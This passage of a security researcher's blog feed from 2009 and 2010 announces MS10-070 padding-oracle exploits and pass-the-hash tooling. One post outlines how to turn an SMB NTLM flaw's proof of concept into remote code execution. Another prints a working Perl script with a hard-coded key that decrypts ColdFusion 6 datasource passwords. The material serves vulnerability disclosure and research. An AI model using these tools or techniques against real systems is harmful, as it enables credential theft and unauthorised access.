href="http://www.amazon.com/HACKING-EXPOSED-WEB-APPLICATIONS-3/dp/0071740643/ref=sr_1_1?ie=UTF8&amp;amp;qid=1288459138&amp;amp;sr=8-1"&gt;http://www.amazon.com/HACKING-EXPOSED-WEB-APPLICATIONS-3/dp/0071740643/ref=sr_1_1?ie=UTF8&amp;amp;qid=1288459138&amp;amp;sr=8-1&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2850892460173347862?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/2850892460173347862/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=2850892460173347862&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2850892460173347862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2850892460173347862'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/10/contributing-author-of-hacking-exposed.html' title='Contributing author of Hacking Exposed Web Applications 3rd. Edition'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4823852715710369957</id><published>2010-10-20T12:39:00.000-03:00</published><updated>2010-10-20T12:39:40.103-03:00</updated><title type='text'>MS10-070 ASP.NET Auto-Decryptor File Download PoC exploit</title><content type='html'>This is another exploit part of the MS10-070 saga :)&lt;br /&gt;&lt;br /&gt;It is not the same as our other &lt;a href="http://www.ampliasecurity.com/research/aspx_po_chotext_attack.rb"&gt;previously released exploit&lt;/a&gt;, this one uses another information leak. On average, this exploit should allow you to do the same as the previous one but faster (which is important/desirable in this scenario).&lt;br /&gt;&lt;br /&gt;You can find it here:&lt;br /&gt;http://www.ampliasecurity.com/research/aspx_ad_chotext_attack.rb&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4823852715710369957?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4823852715710369957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4823852715710369957&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4823852715710369957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4823852715710369957'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/10/ms10-070-aspnet-auto-decryptor-file.html' title='MS10-070 ASP.NET Auto-Decryptor File Download PoC exploit'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3933655695697204952</id><published>2010-10-14T22:42:00.000-03:00</published><updated>2010-10-14T22:42:56.160-03:00</updated><title type='text'>MS10-070 ASP.NET Padding Oracle attack PoC exploit video</title><content type='html'>Yesterday, Agustin Azubel from &lt;a href="http://www.ampliasecurity.com/"&gt;Amplia Security&lt;/a&gt; released a proof-of-concept exploit implementing a Padding Oracle attack against ASP.NET (MS10-070) that allows an attacker to download a file from the remote web server. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Today we released a video showing how the PoC exploit works.&lt;br /&gt;&lt;br /&gt;You can find it here:&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;&lt;a class="tweet-url web" href="http://vimeo.com/15856549" rel="nofollow" target="_blank"&gt;http://vimeo.com/15856549&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;and also, here:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="tweet-url web" href="http://www.youtube.com/ampliasecurity#p/u/0/2jvmT5lmIIM" rel="nofollow" target="_blank"&gt;http://www.youtube.com/ampliasecurity#p/u/0/2jvmT5lmIIM&lt;/a&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;If you don't feel like installing IIS/ASP.NET and creating a sample application or don't have an already vulnerable ASP.NET application to test the PoC exploit on, the video will give you an idea on how the exploit works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3933655695697204952?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3933655695697204952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3933655695697204952&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3933655695697204952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3933655695697204952'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/10/ms10-070-aspnet-padding-oracle-attack_14.html' title='MS10-070 ASP.NET Padding Oracle attack PoC exploit video'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4209006904656225265</id><published>2010-10-13T15:31:00.000-03:00</published><updated>2010-10-13T15:31:19.675-03:00</updated><title type='text'>MS10-070 ASP.NET Padding Oracle Attack to download web.config or other files</title><content type='html'>&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;You can find it here: &amp;nbsp;                   &lt;span class="entry-content"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;&amp;nbsp;&lt;a class="tweet-url web" href="http://www.ampliasecurity.com/research/aspx_po_chotext_attack.rb" rel="nofollow" target="_blank"&gt;http://www.ampliasecurity.com/research/aspx_po_chotext_attack.rb&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;A proof-of-concept attack against MS10-070, this PoC is an implementation in Ruby of a Padding Oracle attack and allows you to download the 'Web.config' file or any other file from a vulnerable ASP.NET installation.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;It was written by Agustin Azubel (aazubel [ at ]&amp;nbsp; ampliasecurity.com).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="status-content"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4209006904656225265?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4209006904656225265/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4209006904656225265&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4209006904656225265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4209006904656225265'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/10/ms10-070-aspnet-padding-oracle-attack.html' title='MS10-070 ASP.NET Padding Oracle Attack to download web.config or other files'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3843903937647791624</id><published>2010-10-08T20:13:00.000-03:00</published><updated>2010-10-08T20:13:01.144-03:00</updated><title type='text'>Windows Credentials Editor v1.0 (WCE)</title><content type='html'>I just released a new tool called Windows Credentials Editor 1.0 (WCE)&lt;br /&gt;&lt;br /&gt;It allows to perform pass-the-hash and other things related to windows logon sessions and supports XP,2003,7,2008 and Vista.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can find it here:&lt;br /&gt;&lt;a href="http://www.ampliasecurity.com/research/wce_v1.0.tgz"&gt;http://www.ampliasecurity.com/research/wce_v1.0.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3843903937647791624?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3843903937647791624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3843903937647791624&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3843903937647791624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3843903937647791624'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/10/windows-credentials-editor-v10-wce.html' title='Windows Credentials Editor v1.0 (WCE)'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8954278132815777756</id><published>2010-09-28T14:11:00.000-03:00</published><updated>2010-09-28T14:11:24.487-03:00</updated><title type='text'>A Padding Oracle Attack Implemented in Javascript</title><content type='html'>A Padding Oracle Attack implemented in javascript by Agustin Azubel: &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ampliasecurity.com/blog/2010/09/28/a_padding_oracle_attack_implemented_in_javascript/"&gt;http://www.ampliasecurity.com/blog/2010/09/28/a_padding_oracle_attack_implemented_in_javascript/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8954278132815777756?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8954278132815777756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8954278132815777756&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8954278132815777756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8954278132815777756'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/09/padding-oracle-attack-implemented-in.html' title='A Padding Oracle Attack Implemented in Javascript'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3200982440417693187</id><published>2010-09-28T10:23:00.000-03:00</published><updated>2010-09-28T10:23:10.251-03:00</updated><title type='text'>Transferring files on isolated remote desktop environments Turbo Talk</title><content type='html'>The slides for the turbo talk "Transferring files on isolated remote desktop environments" I presented at Ekoparty are up for download here: &lt;a href="http://www.ampliasecurity.com/research/transferringfilesonisolatedRDenvironments-ampliasecurity.pdf"&gt;http://www.ampliasecurity.com/research/transferringfilesonisolatedRDenvironments-ampliasecurity.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The GUI Transfer Toolkit v1.0 can be downloaded here: &lt;a href="http://www.ampliasecurity.com/research/gtt_1.0.tgz"&gt;http://www.ampliasecurity.com/research/gtt_1.0.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And also three videos are available to give you an idea of what the tools do:&lt;br /&gt;&lt;br /&gt;Go to: &lt;a href="http://www.youtube.com/user/AmpliaSecurity"&gt;http://www.youtube.com/user/AmpliaSecurity&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;or, for the individual videos:&lt;br /&gt;&lt;br /&gt;"Using GTT to upload files to an isolated Citrix environment" &lt;br /&gt;&lt;span class="long-title" dir="ltr" id="eow-title" title="Using GTT to upload files to an isolated Citrix environment"&gt;&lt;/span&gt;&lt;a href="http://www.youtube.com/watch?v=h65Yz5n1CPw"&gt;http://www.youtube.com/watch?v=h65Yz5n1CPw&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;"Using GTT fastupload to upload files to an isolated Citrix environment"&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=gLRGuHpvYBI"&gt;http://www.youtube.com/watch?v=gLRGuHpvYBI&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"Using GTT to download files from an isolated Citrix environment"&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=asRpCcVhnuI"&gt;http://www.youtube.com/watch?v=asRpCcVhnuI&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thank you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3200982440417693187?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3200982440417693187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3200982440417693187&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3200982440417693187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3200982440417693187'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/09/transferring-files-on-isolated-remote.html' title='Transferring files on isolated remote desktop environments Turbo Talk'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1944968153482153412</id><published>2010-02-12T22:00:00.002-03:00</published><updated>2010-02-12T23:08:59.468-03:00</updated><title type='text'>Comments on "Assessing the risk of the February Security Bulletins"</title><content type='html'>I just read the "Assessing the risk of February Security Bulletins" blog post here &lt;a href="http://blogs.technet.com/srd/archive/2010/02/09/assessing-the-risk-of-the-february-security-bulletins.aspx"&gt;http://blogs.technet.com/srd/archive/2010/02/09/assessing-the-risk-of-the-february-security-bulletins.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have some quick comments about the "SMB NTLM Weak Nonce" vulnerability we released and MS' risk assessment:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; The blog post says:"Likely to see working proof-of-concept in next 30 days for CVE-2010-0231 resulting in attacker &lt;span class="Table_0020Grid__Char" style="font-family: 'Calibri','Arial'; font-size: 11pt;"&gt; luring remote victim user to open file on attacker server and initiating a connection back to machine where remote victim is logged on.  &lt;/span&gt;"&lt;/li&gt;&lt;/ul&gt;We released fully working proof-of-concept code in our advisory (for two different 'approaches' to exploit the vulnerability) the same day the patch was released, so PoC is already available.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MS calls this issue an 'Elevation of Privilege' vulnerability and 'Important'&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;(also mentioned here: &lt;a href="http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx"&gt;http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;I discussed this with MS; they had their reasons which I understood but I disagree.&lt;br /&gt;&lt;br /&gt;I'm not convinced this should be categorized as a 'remote code execution' vulnerability either, because strictly speaking.. it is not..&lt;br /&gt;&lt;br /&gt; (although it can definitely be used to execute code remotely using DCE/RPC without user interaction, just change the PoC to, instead of creating a text file, do something similar to 'psexec', create exe+register service+start service=code execution. Code to do this is already available in metasploit. I'm going to release an improved version of the PoC with these changes, but you can easily do it yourself).&lt;br /&gt;&lt;br /&gt;But, I feel 'Elevation of Privilege' is a term better suited to cases where you have some kind of access level (e.g.: regular user) and then you are able to *elevate* your privileges (.e.g.: you become an admin).&lt;br /&gt;&lt;br /&gt;In this case  you have no access.. and then you have access..&lt;br /&gt;&lt;br /&gt;Following the same logic, a remotely exploitable buffer overflow (remote code execution) would also be an 'elevation of privilege' vulnerability.. :) you don't have access.. you exploit, now you do!..&lt;br /&gt;&lt;br /&gt;Anyways... I understand it is perhaps hard to just pick the right 'class' for this vulnerability, and frankly, it doesn't matter..&lt;br /&gt;&lt;br /&gt;I just want to say that if you are dismissing applying this patch because it is only an 'Elevation of privilege'.. and because &lt;a href="http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx"&gt;http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx&lt;/a&gt; says that the severity of the four vulnerabilities included in ms10-012 is 'Important'.. I ask you to reconsider... :)&lt;br /&gt;&lt;br /&gt;Anyways, like I said, 'Important' *should* be enough to convince you to apply the patch.. but just in case..&lt;br /&gt;&lt;br /&gt;Also some comments about this vulnerability and Windows NT4:&lt;br /&gt;&lt;br /&gt;if you still have some Windows NT 4 boxes on your network and they're accepting NTLMv1 auth requests and other Windows NT 4 boxes acting as clients are initiating authentication attempts using NTLMv1, your network might be vulnerable to replay attacks without any kind of user interaction. It *might* be possible for an attacker to passively sniff network traffic, collect challenges/responses, and then start making connections to the server until a previously observed challenge is returned and at that point return the corresponding response (to increase the feasibility of the attack, it will be a good idea to capture several challenge/response sessions, not just one.. :).. in fact, you could do more sophisticated attacks..)&lt;br /&gt;&lt;br /&gt;This scenario is described in the advisory, but since Windows NT 4 is no longer supported by Microsoft, there's no patch. You'll need to do something else, like disabling incoming NTLMv1 auth attempts in Windows NT4 servers (if possible).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1944968153482153412?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1944968153482153412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1944968153482153412&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1944968153482153412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1944968153482153412'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/02/comments-on-assessing-risk-of-february.html' title='Comments on &quot;Assessing the risk of the February Security Bulletins&quot;'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3610276839834942215</id><published>2010-02-12T21:34:00.003-03:00</published><updated>2010-02-12T21:41:31.818-03:00</updated><title type='text'>Windows SMB NTLM Authentication Weak Nonce Vulnerability released</title><content type='html'>In case you didn't catch it on bugtraq or full-disclosure or twitter :), please take a look at the advisory for Windows SMB NTLM Authentication Weak Nonce Vulnerability:&lt;br /&gt;&lt;br /&gt;http://www.hexale.org/advisories/OCHOA-2010-0209.txt&lt;br /&gt;&lt;br /&gt;It's basically a 14/17-year old vulnerability in the Windows implementation of the NLTM Authentication protocol... goes back to the Windows NT 4 days!&lt;br /&gt;&lt;br /&gt;I´ll do a post later commenting on some of, what I think, are the most interesting and important facts said in the advisory that perhaps you didn't catch when reading it or were not clearly described.&lt;br /&gt;&lt;br /&gt;Thank you!.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3610276839834942215?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3610276839834942215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3610276839834942215&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3610276839834942215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3610276839834942215'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/02/windows-smb-ntlm-authentication-weak.html' title='Windows SMB NTLM Authentication Weak Nonce Vulnerability released'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8810988656068235247</id><published>2009-10-22T11:56:00.003-03:00</published><updated>2009-10-22T12:05:59.548-03:00</updated><title type='text'>How to decrypt Coldfusion v6 datasource passwords</title><content type='html'>Some time ago I made a blog post about how to decrypt datasource passwords for both coldfusion v7 and v8 (see &lt;a href="http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html"&gt;http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html&lt;/a&gt;), this blog post is basically about the same but for ColdFusion v6.&lt;br /&gt;&lt;br /&gt;DataSource passwords in v6 are stored in \lib\neo-query.xml as they were in v7, but this time the passwords are encrypted using a 16-bytes hard-coded key using the TwoFish encryption algorithm.&lt;br /&gt;&lt;br /&gt;The code used to encrypt the passwords can be found in cfusion.jar, unzip the .jar file and look for it in \coldfusion\sql\TwoFishCryptor.class and \coldfusion\sql\TwoFish_Algorithm.class.&lt;br /&gt;&lt;br /&gt;I wrote a quick perl script to decrypt these passwords (it requires Crypt::TwoFish which you can easily download using CPAN or manually), here it is:&lt;br /&gt;&lt;br /&gt;&lt;verbatim&gt;&lt;br /&gt;&lt;br /&gt;# ColdFusion 6 neo-query.xml database passwords decryptor&lt;br /&gt;# (c) Hernan Ochoa (hernan@gmail.com)&lt;br /&gt;&lt;br /&gt;use Crypt::Twofish;&lt;br /&gt;&lt;br /&gt;$key = "\x56\xbc\xca\x37\x94\x81\xa6\x17\x09\x59\xfa\xdb\xcc\xfd\x40\x1a";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print "ColdFusion 6 neo-query.xml database passwords decryptor\n";&lt;br /&gt;print "by Hernan Ochoa (hernan\@gmail.com)\n\n";&lt;br /&gt;&lt;br /&gt;if (($#ARGV+1) != 1) {&lt;br /&gt;    print "syntax: decryptcf6.pl &lt;encrypted_password&gt;\n";&lt;br /&gt;    print "example: decryptcf6.pl AABBCCDDEEFF00010203040506070809\n"; &lt;br /&gt;    print "\n";&lt;br /&gt;    exit 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$data = @ARGV[0];&lt;br /&gt;if ( length($data) != 32 ) {&lt;br /&gt;        print "ERROR: encrypted password must be 32-characters long!\n";&lt;br /&gt;        exit 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "encrypted password: $data\n";&lt;br /&gt;&lt;br /&gt;@chars = split '', $data;&lt;br /&gt;&lt;br /&gt;$mybytes = "";&lt;br /&gt;&lt;br /&gt;for( $i=0; $i&lt;32; $i=$i+2) {&lt;br /&gt;    $mybytes = $mybytes . chr( ( hex(@chars[$i])*16 ) + hex( @chars[$i+1]) );&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$cipher = Crypt::Twofish-&gt;new($key);&lt;br /&gt;&lt;br /&gt;print "decrypted password: " . $cipher-&gt;decrypt($mybytes);&lt;br /&gt;print "\n";&lt;br /&gt;&lt;br /&gt;&lt;/verbatim&gt;&lt;br /&gt;&lt;br /&gt;You can also download it here: &lt;a href="http://www.hexale.org/tools/decryptcf6.tgz"&gt;http://www.hexale.org/tools/decryptcf6.tgz&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8810988656068235247?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8810988656068235247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8810988656068235247&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8810988656068235247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8810988656068235247'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/10/how-to-decrypt-coldfusion-v6-datasource.html' title='How to decrypt Coldfusion v6 datasource passwords'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5167319037011149945</id><published>2009-10-21T11:44:00.003-03:00</published><updated>2009-10-21T11:58:23.706-03:00</updated><title type='text'>List of Addresses for the Pass-the-Hash toolkit -a switch</title><content type='html'>Many people contact me frequently asking for the correct addresses to use with the -a switch of whosthere.exe and iam.exe for different versions of Windows, languages, etc.&lt;br /&gt;&lt;br /&gt;Although I will continue answering these questions, I have put together a list of addresses for different versions of lsasrv.dll to make the process a little bit easier both for me and for you.&lt;br /&gt;&lt;br /&gt;The list currently contains a low amount of addresses but It will grow eventually, your contributions are very welcome but please send me your lsasrv.dll along with the addresses because I need to verify the addresses are correct.&lt;br /&gt;&lt;br /&gt;The file containing the list of addresses is very simple:&lt;br /&gt;&lt;br /&gt;'sha1' is the sha1 hash of the lsasrv.dll. This is used to identify different versions of the DLL&lt;br /&gt;&lt;br /&gt;'File version' and 'Language' are the version and language of  lsasrv.dll&lt;br /&gt;&lt;br /&gt;'addresses' are the addresses to use with the -a switch&lt;br /&gt;&lt;br /&gt;So, basically, if you have a version of windows where whosthere.exe and iam.exe are not working, first try iam-alt.exe and whosthere-alt.exe, if that doesn't work or if you want to specifically use whosthere.exe and iam.exe calculate the sha1 hash of your lsasrv.dll file (located in c:\windows\system32\lsasrv.dll) and look it up in the list of addresses.&lt;br /&gt;&lt;br /&gt;If you can't find it there, just email me your lsasrv.dll. I'll answer with the correct addresses and will add them to the list.&lt;br /&gt;&lt;br /&gt;You can find the list of addresses here: &lt;a href="http://www.hexale.org/pth/pth_addrs.txt"&gt;http://www.hexale.org/pth/pth_addrs.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5167319037011149945?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5167319037011149945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5167319037011149945&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5167319037011149945'/><link rel='self' 